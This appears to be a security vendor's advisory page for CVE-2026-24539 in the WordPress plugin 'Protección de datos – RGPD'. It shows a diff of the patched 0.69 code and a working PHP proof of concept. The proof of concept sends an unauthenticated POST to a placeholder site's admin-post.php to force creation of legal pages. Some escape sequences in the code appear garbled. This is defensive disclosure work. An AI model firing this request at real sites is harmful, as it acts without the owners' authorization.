+/**
+ * Genera un enlace `<a target="_blank">` al título de una página WP.
+ *
+ * @since 1.0.0
+ *
+ * @param string $url URL interna.
+ * @return string HTML del enlace.
+ */
 function pdrgpd_enlace_pagina_wp( $url ) {
 	$pagina = pdrgpd_carga_pagina_sitio( $url );
 	// Verifica si $pagina no es null y es un objeto.
@@ -890,7 +1389,14 @@
 	return $html;
 }

-/** Retira la URL get_bloginfo( 'wpurl' ) . '/' para quedarse con el slug. */
+/**
+ * Extrae el slug de una URL perteneciente al sitio.
+ *
+ * @since 1.0.0
+ *
+ * @param string $url URL completa.
+ * @return string Slug o cadena vacía.
+ */
 function pdrgpd_slug_pagina( $url ) {
 	$slug = '';
 	if ( pdrgpd_bajo_control_wp( $url ) ) {
@@ -899,9 +1405,16 @@
 	return $slug;
 }

-/** Creación de páginas legales. */
+/**
+ * Ofrece crear páginas legales si faltan.
+ *
+ * Imprime el checkbox y la descripción. Solo se muestra cuando
+ * `pdrgpd_faltan_paginas_legales()` es true.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_ofrece_paginas_legales() {
-	// Ofrece crear las páginas legales si faltan.
 	if ( pdrgpd_faltan_paginas_legales() ) {
 		echo "<input type='checkbox' name='pdrgpd_crear_paginas_legales' ";
 		checked( 1, 1 );
@@ -912,6 +1425,12 @@
 	}
 }

+/**
+ * Determina si falta alguna de las tres páginas legales configuradas.
+ *
+ * @since 1.0.0
+ * @return bool
+ */
 function pdrgpd_faltan_paginas_legales() {
 	// Verifica la existencia de todas las páginas legales configuradas.
 	$faltan = false;
@@ -927,19 +1446,37 @@
 	return $faltan;
 }

-function pdrgpd_cear_paginas_legales() {
-	pdrgpd_cear_pagina_legal( pdrgpd_slug_pagina( pdrgpd_conf_uri_aviso() ), 'aviso-legal' );
-	pdrgpd_cear_pagina_legal( pdrgpd_slug_pagina( pdrgpd_conf_uri_privacidad() ), 'privacidad' );
-	pdrgpd_cear_pagina_legal( pdrgpd_slug_pagina( pdrgpd_conf_uri_cookies() ), 'cookies' );
+/**
+ * Crea las tres páginas legales (aviso, privacidad, cookies) si no existen.
+ *
+ * Se ejecuta durante el sanitizado del formulario cuando el usuario
+ * marca la opción “Crear páginas legales”.
+ *
+ * @since 1.0.0
+ * @return void
+ */
+function pdrgpd_crear_paginas_legales() {
+	pdrgpd_crear_pagina_legal( pdrgpd_slug_pagina( pdrgpd_conf_uri_aviso() ), 'aviso-legal' );
+	pdrgpd_crear_pagina_legal( pdrgpd_slug_pagina( pdrgpd_conf_uri_privacidad() ), 'privacidad' );
+	pdrgpd_crear_pagina_legal( pdrgpd_slug_pagina( pdrgpd_conf_uri_cookies() ), 'cookies' );
 }

-function pdrgpd_cear_pagina_legal( $slug, $tipo ) {
-	// La página aviso-legal/ ya existe, no se crea.Creada página privacidad2/.La página cookies/ ya existe, no se crea.pdrgpd_cear_paginas_legales
+/**
+ * Crea una página legal individual.
+ *
+ * @since 1.0.0
+ *
+ * @param string $slug    Slug deseado.
+ * @param string $tipo    Tipo: 'aviso-legal', 'privacidad' o 'cookies'.
+ * @return void
+ */
+function pdrgpd_crear_pagina_legal( $slug, $tipo ) {
+	// La página aviso-legal/ ya existe, no se crea.Creada página privacidad2/.La página cookies/ ya existe, no se crea.pdrgpd_crear_paginas_legales
 	// Solo se crea si tiene slug previsto.
 	if ( $slug ) {
 		if ( pdrgpd_existe_pagina( $slug ) ) {
 			// Indicar que ya existe.
-			// echo "La página $slug ya existe, no se crea.";
+			__return_null();
 		} else {
 			// Crear.
 			switch ( $tipo ) {
@@ -976,6 +1513,14 @@
 	}
 }

+/**
+ * Envuelve un shortcode con los comentarios de bloque de Gutenberg.
+ *
+ * @since 1.0.0
+ *
+ * @param string $shortcode Shortcode sin corchetes.
+ * @return string Bloque listo para pegar en el editor.
+ */
 function pdrgpd_shortcode_gutenberg( $shortcode ) {
 	$html  = "<!-- wp:shortcode -->rn";
 	$html .= '[' . $shortcode . "]rn";
@@ -983,6 +1528,14 @@
 	return $html;
 }

+/**
+ * Comprueba si existe una página dado su slug.
+ *
+ * @since 1.0.0
+ *
+ * @param string $slug Slug a comprobar.
+ * @return bool
+ */
 function pdrgpd_existe_pagina( $slug ) {
 	$existe = false;
 	if ( $slug ) {
@@ -994,11 +1547,28 @@
 	return $existe;
 }

+/**
+ * Indica si hay errores de configuración que deban mostrar avisos.
+ *
+ * Actualmente siempre devuelve false (placeholder para extensiones futuras).
+ *
+ * @since 1.0.0
+ * @return bool
+ */
 function pdrgpd_errores_config() {
 	$errores = false;
 	return $errores;
 }

+/**
+ * Función temporal para registrar cadenas en el dominio de texto.
+ *
+ * No ejecuta código, solo fuerza la detección de traducciones.
+ *
+ * @since 1.0.0
+ * @return void
+ */
 function pdrgpd_traducir_para_posteriores() {
-	// $temporal  = __( '' , 'proteccion-datos-rgpd' );
+	/* // $temporal  = __( '' , 'proteccion-datos-rgpd' ); */
+	__return_null();
 }
--- a/proteccion-datos-rgpd/formularios.php
+++ b/proteccion-datos-rgpd/formularios.php
@@ -17,7 +17,26 @@

 defined( 'ABSPATH' ) || die( 'No se permite el acceso.' );

-/** Primera capa del deber de información. */
+/*
+ * ------------------------------------------------------------------------
+ * Primera capa del deber de información (art. 13 RGPD)
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Devuelve el HTML de la “primera capa” del deber de información.
+ *
+ * Según la configuración del plugin elige entre formato tabla o párrafo.
+ *
+ * @since 1.0.0
+ *
+ * @param string $finalidad     Texto breve de la finalidad.
+ * @param string $transferencia Nombre del cesionario (vacío = “no se ceden datos”).
+ * @param string $responsable   Nombre del responsable (vacío = se usa shortcode).
+ * @param string $url_privacidad URL personalizada de política (vacío = shortcode).
+ * @param string $gestion       URL de ejercicio de derechos (vacío = se usa la de política).
+ * @return string               HTML listo para mostrar (ya procesa shortcodes).
+ */
 function pdrgpd_deber_informacion_primera_capa( $finalidad, $transferencia, $responsable, $url_privacidad, $gestion ) {
 	$formato = pdrgpd_conf_formato_primera_capa();
 	if ( 'tabla' === $formato ) {
@@ -28,7 +47,18 @@
 	return do_shortcode( $html );
 }

-/** Versión en párrafo de primera capa del deber de información. */
+/**
+ * Renderiza la primera capa en formato párrafo.
+ *
+ * @since 1.0.0
+ *
+ * @param string $finalidad     Ver descripción en pdrgpd_deber_informacion_primera_capa().
+ * @param string $transferencia Ver descripción en pdrgpd_deber_informacion_primera_capa().
+ * @param string $responsable   Ver descripción en pdrgpd_deber_informacion_primera_capa().
+ * @param string $url_privacidad Ver descripción en pdrgpd_deber_informacion_primera_capa().
+ * @param string $gestion       Ver descripción en pdrgpd_deber_informacion_primera_capa().
+ * @return string               HTML completo del párrafo.
+ */
 function pdrgpd_parrafo_primera_capa( $finalidad, $transferencia, $responsable, $url_privacidad, $gestion ) {
 	$html  = '<p class="pdrgpd_primeracapa">';
 	$html .= '<strong>' . __( 'Basic data protection information: ', 'proteccion-datos-rgpd' ) . '</strong>';
@@ -55,7 +85,18 @@
 	return $html;
 }

-/** Versión en tabla de primera capa del deber de información. */
+/**
+ * Renderiza la primera capa en formato tabla (recomendado por la AEPD).
+ *
+ * @since 1.0.0
+ *
+ * @param string $finalidad     Ver descripción en pdrgpd_deber_informacion_primera_capa().
+ * @param string $transferencia Ver descripción en pdrgpd_deber_informacion_primera_capa().
+ * @param string $responsable   Ver descripción en pdrgpd_deber_informacion_primera_capa().
+ * @param string $url_privacidad Ver descripción en pdrgpd_deber_informacion_primera_capa().
+ * @param string $gestion       Ver descripción en pdrgpd_deber_informacion_primera_capa().
+ * @return string               HTML completo de la tabla.
+ */
 function pdrgpd_tabla_primera_capa( $finalidad, $transferencia, $responsable, $url_privacidad, $gestion ) {
 	$html  = "<table class="pdrgpd_primeracapa">n";
 	$html .= pdrgpd_titulo_tabla_primera_capa();
@@ -64,7 +105,7 @@
 	} else {
 		$html .= pdrgpd_fila_tabla_primera_capa( __( 'Responsible', 'proteccion-datos-rgpd' ), '[pdrgpd-titular] ' . pdrgpd_enlace_mas_info( $url_privacidad, 'responsable' ) );
 	}
-	// Se hace traducción cruzada de la finalidad. De este modo, unsitio encastellano que tiene configurado el texto por defecto, lo puede mostrar en otros idiomas si procede.
+	// Se hace traducción cruzada de la finalidad. De este modo, un sitio en castellano que tiene configurado el texto por defecto, lo puede mostrar en otros idiomas si procede.
 	$html .= pdrgpd_fila_tabla_primera_capa( __( 'Purpose', 'proteccion-datos-rgpd' ), esc_html( pdrgpd_finalidad_traducida( $finalidad ) ) . ' ' . pdrgpd_enlace_mas_info( $url_privacidad, 'finalidad' ) );
 	$html .= pdrgpd_fila_tabla_primera_capa( __( 'Legitimation', 'proteccion-datos-rgpd' ), __( 'Consent of the concerned party.', 'proteccion-datos-rgpd' ) . ' ' . pdrgpd_enlace_mas_info( $url_privacidad, 'legitimacion' ) );
 	if ( $transferencia ) {
@@ -82,6 +123,15 @@
 	return $html;
 }

+/**
+ * Devuelve el enlace “+info...” que apunta a la política de privacidad.
+ *
+ * @since 1.0.0
+ *
+ * @param string $url_privacidad URL personalizada (vacío → shortcode).
+ * @param string $id             Ancla interna (solo si $url_privacidad está vacío).
+ * @return string                HTML del enlace.
+ */
 function pdrgpd_enlace_mas_info( $url_privacidad, $id ) {
 	$html = '<a href="';
 	if ( $url_privacidad ) {
@@ -97,6 +147,12 @@
 	return $html;
 }

+/**
+ * Genera la fila de título de la tabla de primera capa.
+ *
+ * @since 1.0.0
+ * @return string HTML del `<tr><th colspan="2">...</th></tr>`.
+ */
 function pdrgpd_titulo_tabla_primera_capa() {
 	$html  = " <tr>n";
 	$html .= '  <th colspan=2 class="pdrgpd_primeracapa">' . __( 'Basic information on data protection', 'proteccion-datos-rgpd' ) . "</th>n";
@@ -104,6 +160,15 @@
 	return $html;
 }

+/**
+ * Genera una fila completa de la tabla de primera capa.
+ *
+ * @since 1.0.0
+ *
+ * @param string $titulo    Texto de la columna “th”.
+ * @param string $contenido Texto de la columna “td”.
+ * @return string           HTML del `<tr>`.
+ */
 function pdrgpd_fila_tabla_primera_capa( $titulo, $contenido ) {
 	$html  = " <tr>n";
 	$html .= pdrgpd_epígrafe_tabla_primera_capa( $titulo, $contenido );
@@ -111,14 +176,35 @@
 	return $html;
 }

+/**
+ * Genera el par de celdas `<th>` y `<td>` de una fila.
+ *
+ * @since 1.0.0
+ *
+ * @param string $titulo    Texto del encabezado.
+ * @param string $contenido Texto del valor.
+ * @return string           HTML de las dos celdas.
+ */
 function pdrgpd_epígrafe_tabla_primera_capa( $titulo, $contenido ) {
 	$html  = " <th class="pdrgpd_primeracapa">$titulo</th>n";
 	$html .= " <td class="pdrgpd_primeracapa">$contenido</td>n";
 	return $html;
 }

-// Shortcode para añadir en el formulario de contacto la primera capa del deber de información.
-add_shortcode( 'pdrgpd-aviso-formulario-contacto', 'pdrgpd_aviso_formulario_contacto' );
+/*
+ * ------------------------------------------------------------------------
+ * Shortcodes para insertar la primera capa en formularios
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Shortcode [pdrgpd-aviso-formulario-contacto]
+ *
+ * Imprime la primera capa si el admin ha marcado “Existe formulario de contacto”.
+ *
+ * @since 1.0.0
+ * @return string HTML de la primera capa o cadena vacía.
+ */
 function pdrgpd_aviso_formulario_contacto() {
 	if ( get_option( 'pdrgpd_existencia_formulario_contacto' ) ) {
 		$html = pdrgpd_deber_informacion_primera_capa( pdrgpd_conf_finalidad_formulario_contacto_mini(), pdrgpd_politica_privacidad_transferencia_mini( 'contacto' ), '', '', '' );
@@ -126,9 +212,17 @@
 		return $html;
 	}
 }
-
 // Shortcode para añadir en el formulario de contacto la primera capa del deber de información.
-add_shortcode( 'pdrgpd-aviso-boletin', 'pdrgpd_aviso_boletin' );
+add_shortcode( 'pdrgpd-aviso-formulario-contacto', 'pdrgpd_aviso_formulario_contacto' );
+
+/**
+ * Shortcode [pdrgpd-aviso-boletin]
+ *
+ * Imprime la primera capa si el admin ha marcado “Existe boletín”.
+ *
+ * @since 1.0.0
+ * @return string HTML de la primera capa o cadena vacía.
+ */
 function pdrgpd_aviso_boletin() {
 	if ( get_option( 'pdrgpd_existencia_boletin' ) ) {
 		$html = pdrgpd_deber_informacion_primera_capa( pdrgpd_conf_finalidad_suscripcion_boletin_mini(), pdrgpd_politica_privacidad_transferencia_mini( 'boletin' ), '', '', '' );
@@ -136,7 +230,29 @@
 		return $html;
 	}
 }
+// Shortcode para añadir en el formulario de contacto la primera capa del deber de información.
+add_shortcode( 'pdrgpd-aviso-boletin', 'pdrgpd_aviso_boletin' );

+/*
+ * ------------------------------------------------------------------------
+ * Formulario de comentarios (GDPR obligatorio)
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Añade el texto de la primera capa **tras** el campo comentario.
+ *
+ * Hook sobre `comment_form_defaults`.
+ *
+ * @since 1.0.0
+ *
+ * @param array $args Array de argumentos del formulario de comentarios.
+ * @return array       Array modificado.
+ */
+function pdrgpd_aviso_tras_form_comentar( $args ) {
+	$args['comment_notes_after'] = pdrgpd_deber_informacion_primera_capa( pdrgpd_conf_finalidad_formulario_comentar_mini(), pdrgpd_politica_privacidad_transferencia_mini( 'comentar' ), '', '', '' );
+	return $args;
+}
 // Texto a añadir tras el formulario de comentarios, si se configuró así.
 // Se puede hacer como texto lineal o como tabla, habrá que elegir.
 if ( get_option( 'pdrgpd_aplicar_formulario_comentar' ) ) {
@@ -145,17 +261,17 @@
 		add_filter( 'comment_form_defaults', 'pdrgpd_aviso_tras_form_comentar' );
 	}
 }
-function pdrgpd_aviso_tras_form_comentar( $args ) {
-	$args['comment_notes_after'] = pdrgpd_deber_informacion_primera_capa( pdrgpd_conf_finalidad_formulario_comentar_mini(), pdrgpd_politica_privacidad_transferencia_mini( 'comentar' ), '', '', '' );
-	return $args;
-}

-// Añadir checkbox despues del campo Comentario.
-if ( get_option( 'pdrgpd_aplicar_formulario_comentar' ) ) {
-	if ( ! pdrgpd_modulo_jetpack_comentarios_activo() ) {
-		add_filter( 'comment_form_field_comment', 'pdrgpd_comment_form_field_comment' );
-	}
-}
+/**
+ * Añade el checkbox de aceptación **dentro** del campo comentario.
+ *
+ * Hook sobre `comment_form_field_comment`.
+ *
+ * @since 1.0.0
+ *
+ * @param string $comment_field HTML original del campo.
+ * @return string               HTML con el checkbox añadido.
+ */
 function pdrgpd_comment_form_field_comment( $comment_field ) {
 	$comment_field .= '<p class="comment-subscription-form">';
 	$comment_field .= '<input type="checkbox" name="pdrgpd_acepto_politica_privacidad" value="acepto" style="width: auto; -moz-appearance: checkbox; -webkit-appearance: checkbox;" required="required" id="pdrgpd_acepto_politica_privacidad" />';
@@ -165,7 +281,32 @@
 	$comment_field .= '</p>';
 	return do_shortcode( $comment_field );
 }
+// Añadir checkbox despues del campo Comentario.
+if ( get_option( 'pdrgpd_aplicar_formulario_comentar' ) ) {
+	if ( ! pdrgpd_modulo_jetpack_comentarios_activo() ) {
+		add_filter( 'comment_form_field_comment', 'pdrgpd_comment_form_field_comment' );
+	}
+}

+/**
+ * Impide enviar el comentario si no se acepta la política.
+ *
+ * Hook sobre `preprocess_comment`.
+ * Muere con mensaje si no se marca la casilla.
+ *
+ * @since 1.0.0
+ *
+ * @param array $fields Datos del comentario en proceso.
+ * @return array        Mismo array si la validación es correcta.
+ */
+function pdrgpd_requiere_aceptar_privacidad( $fields ) {
+	// Sólo se está comprobando si existe la caslla indicando "acepto", no hay mayor proceso de datos.
+	// phpcs:ignore WordPress.Security.NonceVerification.Missing
+	if ( ( ! isset( $_POST['pdrgpd_acepto_politica_privacidad'] ) ) || 'acepto' !== sanitize_text_field( wp_unslash( $_POST['pdrgpd_acepto_politica_privacidad'] ) ) ) {
+		wp_die( '<p><strong>ERROR</strong>: ' . esc_html( __( 'You must accept the privacy policy to send comments', 'proteccion-datos-rgpd' ) ) . '.</p>' . "n" . '<p><a href='javascript:history.back()'>« ' . esc_html( __( 'Return', 'proteccion-datos-rgpd' ) ) . '</a></p>' );
+	}
+	return $fields;
+}
 // Fuerza aceptar la política de privacidad salvo en el escritorio del administrador.
 if ( ! is_admin() ) {
 	if ( get_option( 'pdrgpd_aplicar_formulario_comentar' ) ) {
@@ -174,34 +315,58 @@
 		}
 	}
 }
-function pdrgpd_requiere_aceptar_privacidad( $fields ) {
-	if ( ( ! isset( $_POST['pdrgpd_acepto_politica_privacidad'] ) ) || 'acepto' !== $_POST['pdrgpd_acepto_politica_privacidad'] ) {
-		wp_die( '<p><strong>ERROR</strong>: ' . esc_html( __( 'You must accept the privacy policy to send comments', 'proteccion-datos-rgpd' ) ) . '.</p>' . "n" . '<p><a href='javascript:history.back()'>« ' . esc_html( __( 'Return', 'proteccion-datos-rgpd' ) ) . '</a></p>' );
+
+/**
+ * Guarda la aceptación en el meta del comentario.
+ *
+ * Hook sobre `comment_post`.
+ *
+ * @since 1.0.0
+ *
+ * @param int $comment_id ID del comentario recién creado.
+ * @return void
+ */
+function pdrgpd_aceptacion_privacidad_grabar( $comment_id ) {
+	// Sólo se agrega la gestión de la casilla de aceptar sin cambiar la lógica original del formulario.
+	// Comentarios públicos: no se usa nonce para mantener compatibilidad con el sistema core de comentarios.
+	// phpcs:ignore WordPress.Security.NonceVerification.Missing
+	if ( ( isset( $_POST['pdrgpd_acepto_politica_privacidad'] ) ) && 'acepto' === sanitize_text_field( wp_unslash( $_POST['pdrgpd_acepto_politica_privacidad'] ) ) ) {
+			add_comment_meta( absint( $comment_id ), 'pdrgpd_acepto_politica_privacidad', 'acepto', true );
 	}
-	return $fields;
 }
-
-// Guarda el valor d la casilla de aceptar la privacidad en la tabla comment metadata.
+// Guarda el valor de la casilla de aceptar la privacidad en la tabla comment metadata.
 if ( get_option( 'pdrgpd_aplicar_formulario_comentar' ) ) {
 	add_action( 'comment_post', 'pdrgpd_aceptacion_privacidad_grabar', 1 );
 }
-function pdrgpd_aceptacion_privacidad_grabar( $post_id ) {
-	if ( isset( $_POST['pdrgpd_acepto_politica_privacidad'] ) ) {
-		$acepta_privacidad = sanitize_text_field( wp_unslash( $_POST['pdrgpd_acepto_politica_privacidad'] ) );
-		if ( $acepta_privacidad ) {
-			add_comment_meta( $post_id, 'pdrgpd_acepto_politica_privacidad', $acepta_privacidad, true );
-		}
-	}
-}

+/**
+ * Muestra el valor de la aceptación en wp-admin/edit-comments.php.
+ *
+ * Hook sobre `comment_text` (solo en back-end).
+ *
+ * @since 1.0.0
+ * @return void  Echo directo.
+ */
+function pdrgpd_aceptacion_privacidad_mostrar() {
+	echo esc_html( get_comment_text() ), '<br><br><strong>Política privacidad: ', esc_html( get_comment_meta( get_comment_ID(), 'pdrgpd_acepto_politica_privacidad', 1 ) ), '<strong>';
+}
 // Muestra la la aceptación de la política de privacidad en la página de administración de comentarios wp-admin/edit-comments.php.
 if ( is_admin() ) {
 	add_action( 'comment_text', 'pdrgpd_aceptacion_privacidad_mostrar' );
 }
-function pdrgpd_aceptacion_privacidad_mostrar() {
-	echo esc_html( get_comment_text() ), '<br><br><strong>Política privacidad: ', esc_html( get_comment_meta( get_comment_ID(), 'pdrgpd_acepto_politica_privacidad', 1 ) ), '<strong>';
-}

+/*
+ * ------------------------------------------------------------------------
+ * Utilidades de configuración
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Devuelve el formato elegido para la primera capa.
+ *
+ * @since 1.0.0
+ * @return string Formato elegido: 'tabla'|'parrafo'
+ */
 /** Valor configurado o por defecto del formato para la primera capa del deber de información. */
 function pdrgpd_conf_formato_primera_capa() {
 	$formato = get_option( 'pdrgpd_formato_primera_capa', 'tabla' );
@@ -211,7 +376,12 @@
 	return $formato;
 }

-/** Valor configurado o por defecto de la existencia de Akismet. */
+/**
+ * Devuelve el valor configurado o por defecto de la existencia de Akismet.
+ *
+ * @since 1.0.0
+ * @return bool
+ */
 function pdrgpd_existe_akismet() {
 	$existe_akismet = false;
 	if ( get_option( 'pdrgpd_aplicar_formulario_comentar' ) ) {
@@ -222,7 +392,12 @@
 	return $existe_akismet;
 }

-/** Valor configurado o por defecto de la existencia de formulario de suscripcion de Jetpack. */
+/**
+ * Devuelve el valor configurado o por defecto de la existencia de una suscripción Jetpack.
+ *
+ * @since 1.0.0
+ * @return bool
+ */
 function pdrgpd_existe_suscripcion_jetpack() {
 	$existe_suscripcion_jetpack = false;
 	if ( get_option( 'pdrgpd_existencia_suscripcion_jetpack' ) ) {
@@ -231,7 +406,16 @@
 	return $existe_suscripcion_jetpack;
 }

-/** Un valor por defecto configurado en español es traducido a francés o inglés para mostrarlo en la primera capa cuando el sitio es multiidioma. */
+/**
+ * Traduce la finalidad por defecto si el sitio es multi-idioma.
+ *
+ * Un valor por defecto configurado en español es traducido a francés o inglés para mostrarlo en la primera capa cuando el sitio es multiidioma.
+ *
+ * @since 1.0.0
+ *
+ * @param string $finalidad Texto guardado en BD.
+ * @return string            Texto traducido al locale actual.
+ */
 function pdrgpd_finalidad_traducida( $finalidad ) {
 	if ( 'Mantener el contacto contigo u otras acciones obligatorias.' === $finalidad || 'Mantenir contacte amb tu o altres accions requerides.' === $finalidad ) {
 		$locale = get_locale();
@@ -248,10 +432,30 @@
 	return $finalidad;
 }

-// Enable shortcode in Contact Form 7.
-// Habilita shortcodes en Contact Form 7 si está presente.
+/*
+ * ------------------------------------------------------------------------
+ * Compatibilidad con plugins externos
+ * ------------------------------------------------------------------------
+ */
+
+/**
+ * Habilita shortcodes dentro de los formularios Contact Form 7.
+ *
+ * Hook sobre `wpcf7_form_elements`.
+ *
+ * @since 1.0.0
+ * @param string $form Formulario CF7.
+ * @return string       Formulario con shortcodes ejecutados.
+ */
 add_filter( 'wpcf7_form_elements', 'do_shortcode' );

-// Enable shortcode in HTML widgets.
-// Habilita shortcodes en widgets HTML.
+/**
+ * Habilita shortcodes en widgets de tipo “HTML”.
+ *
+ * Hook sobre `widget_text`.
+ *
+ * @since 1.0.0
+ * @param string $text Contenido del widget.
+ * @return string       Contenido con shortcodes ejecutados.
+ */
 add_filter( 'widget_text', 'do_shortcode' );
--- a/proteccion-datos-rgpd/lista-opciones.php
+++ b/proteccion-datos-rgpd/lista-opciones.php
@@ -10,7 +10,14 @@

 defined( 'ABSPATH' ) || die( 'No se permite el acceso.' );

-/** Lista de variables usadas en tabla options. */
+/**
+ * Devuelve el array con los nombres de todas las opciones que gestiona el plugin.
+ *
+ * Utilizado para registrar y sanitizar automáticamente.
+ *
+ * @since 1.0.0
+ * @return string[] Slugs de opciones.
+ */
 function pdrgpd_lista_opciones() {
 	return array(
 		'pdrgpd_version',
--- a/proteccion-datos-rgpd/proteccion-datos-rgpd.php
+++ b/proteccion-datos-rgpd/proteccion-datos-rgpd.php
@@ -3,7 +3,7 @@
  * Plugin Name: Protección de datos - RGPD
  * Plugin URI:  https://taller.abcdatos.net/plugin-rgpd-wordpress/
  * Description: Arrange your site to GDPR (General Data Protection Regulation) and LSSICE as well as other required tasks based on required configurations ettings.
- * Version:     0.68
+ * Version:     0.69
  * Author:      ABCdatos
  * Author URI:  https://taller.abcdatos.net/
  * License:     GPLv2

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24539 - Protección de datos – RGPD <= 0.68 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-24539.
 * This script demonstrates the missing authorization vulnerability in the Protección de datos – RGPD plugin.
 * It sends an unauthenticated POST request to trigger the creation of legal pages.
 */

// Configuration: Set the target WordPress site URL.
$target_url = 'https://victim-site.com';

// The vulnerability is triggered via the 'admin_init' hook, which runs on many admin pages.
// We target admin-post.php as it's a common, accessible admin endpoint.
$exploit_url = $target_url . '/wp-admin/admin-post.php';

// Initialize cURL session.
$ch = curl_init();

// Set the target URL.
curl_setopt($ch, CURLOPT_URL, $exploit_url);

// Use a POST request with the required parameter.
curl_setopt($ch, CURLOPT_POST, true);
// The parameter name must match the vulnerable check in pdrgpd_settings_init().
$post_fields = array('pdrgpd_crear_paginas_legales' => '1');
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);

// Follow redirects (admin-post.php often redirects).
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Return the transfer as a string.
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Set a user-agent to mimic a browser.
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Atomic Edge PoC)');

// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors.
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    echo "Request sent to: $exploit_urln";
    echo "HTTP Status Code: $http_coden";
    // A successful trigger may result in a redirect (302/303) or a 200 OK.
    // The specific response is less important than the server-side action.
    if ($http_code >= 200 && $http_code < 300) {
        echo "Potential success. Check the target site for newly created legal pages.n";
    } else {
        echo "The server returned an unexpected status code. The plugin may not be active or already patched.n";
    }
}

// Close cURL session.
curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School